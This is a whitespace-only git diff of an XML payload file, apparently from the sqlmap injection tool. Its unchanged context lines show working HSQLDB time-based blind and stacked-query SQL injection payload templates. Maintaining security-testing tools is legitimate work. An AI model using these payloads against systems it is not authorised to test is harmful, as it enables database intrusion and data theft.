diff --git a/xml/payloads.xml b/xml/payloads.xml
index dd93d0671..8d81e0bf9 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -2242,8 +2242,8 @@ Formats:
             <dbms_version>&gt;= 2.0</dbms_version>
         </details>
     </test>
-	
-	<test>
+    
+    <test>
         <title>HSQLDB &gt;= 1.7.2 Server stacked queries</title>
         <stype>4</stype>
         <level>1</level>
@@ -2260,10 +2260,10 @@ Formats:
         </response>
         <details>
             <dbms>HSQLDB</dbms>
-			<dbms_version>&gt;= 1.7.2</dbms_version>
+            <dbms_version>&gt;= 1.7.2</dbms_version>
         </details>
     </test>
-	
+    
     <test>
         <title>HSQLDB &gt;= 2.0 Server stacked queries</title>
         <stype>4</stype>
@@ -2751,7 +2751,7 @@ Formats:
             <dbms>IBM DB2</dbms>
         </details>
     </test>
-	
+    
     <test>
         <title>HSQLDB &gt;= 1.7.2 AND time-based blind (heavy query)</title>
         <stype>5</stype>
@@ -2792,7 +2792,7 @@ Formats:
             <dbms_version>&gt;= 1.7.2</dbms_version>
         </details>
     </test>
-	
+    
     <test>
         <title>HSQLDB &gt; 2.0 AND time-based blind (heavy query)</title>
         <stype>5</stype>
@@ -3052,7 +3052,7 @@ Formats:
             <dbms>IBM DB2</dbms>
         </details>
     </test>
-	
+    
     <test>
         <title>HSQLDB &gt;= 1.7.2 OR time-based blind (heavy query)</title>
         <stype>5</stype>
@@ -3069,7 +3069,7 @@ Formats:
         </response>
         <details>
             <dbms>HSQLDB</dbms>
-			<dbms_version>&gt;= 1.7.2</dbms_version>
+            <dbms_version>&gt;= 1.7.2</dbms_version>
         </details>
     </test>
 
@@ -3092,8 +3092,8 @@ Formats:
             <dbms>HSQLDB</dbms>
             <dbms_version>&gt;= 1.7.2</dbms_version>
         </details>
-    </test>	
-	
+    </test>    
+    
     <test>
         <title>HSQLDB &gt; 2.0 OR time-based blind (heavy query)</title>
         <stype>5</stype>
@@ -3110,7 +3110,7 @@ Formats:
         </response>
         <details>
             <dbms>HSQLDB</dbms>
-			<dbms_version>&gt; 2.0</dbms_version>
+            <dbms_version>&gt; 2.0</dbms_version>
         </details>
     </test>
 
@@ -3431,8 +3431,8 @@ Formats:
             <dbms>IBM DB2</dbms>
         </details>
     </test>
-	
-	<!-- Untested -->
+    
+    <!-- Untested -->
     <test>
         <title>HSQLDB &gt;= 1.7.2 time-based blind - Parameter replace (heavy query)</title>
         <stype>5</stype>
@@ -3440,7 +3440,7 @@ Formats:
         <risk>2</risk>
         <clause>1,2,3</clause>
         <where>1</where>
-        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>		
+        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>
         <request>
             <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</payload>
         </request>
@@ -3449,10 +3449,10 @@ Formats:
         </response>
         <details>
             <dbms>HSQLDB</dbms>
-			<dbms_version>&gt;= 1.7.2</dbms_version>
+            <dbms_version>&gt;= 1.7.2</dbms_version>
         </details>
     </test>
-	
+
     <test>
         <title>HSQLDB &gt; 2.0 time-based blind - Parameter replace (heavy query)</title>
         <stype>5</stype>
@@ -3460,7 +3460,7 @@ Formats:
         <risk>2</risk>
         <clause>1,2,3</clause>
         <where>1</where>
-        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</vector>		
+        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</vector>
         <request>
             <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0)))</payload>
         </request>
@@ -3469,7 +3469,7 @@ Formats:
         </response>
         <details>
             <dbms>HSQLDB</dbms>
-			<dbms_version>&gt; 2.0</dbms_version>
+            <dbms_version>&gt; 2.0</dbms_version>
         </details>
     </test>
     <!-- End of time-based blind tests - Parameter replace -->
@@ -3634,17 +3634,17 @@ Formats:
         </details>
     </test>
 
-	<test>
+    <test>
         <title>HSQLDB &gt;= 1.7.2 time-based blind - GROUP BY and ORDER BY clauses (heavy query)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
         <clause>2,3</clause>
         <where>1</where>
-		<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>
+        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</vector>
         <request>
             <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)</payload>
-			<comment>--</comment>
+            <comment>--</comment>
         </request>
         <response>
             <time>[DELAYED]</time>
@@ -3653,16 +3653,16 @@ Formats:
             <dbms>HSQLDB</dbms>
             <dbms_version>&gt;= 1.7.2</dbms_version>
         </details>
-    </test>	
-	
-	<test>
+    </test>    
+    
+    <test>
         <title>HSQLDB &gt; 2.0 time-based blind - GROUP BY and ORDER BY clauses (heavy query)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
         <clause>2,3</clause>
         <where>1</where>
-		<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))</vector>
+        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))</vector>
         <request>
             <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))</payload>
         </request>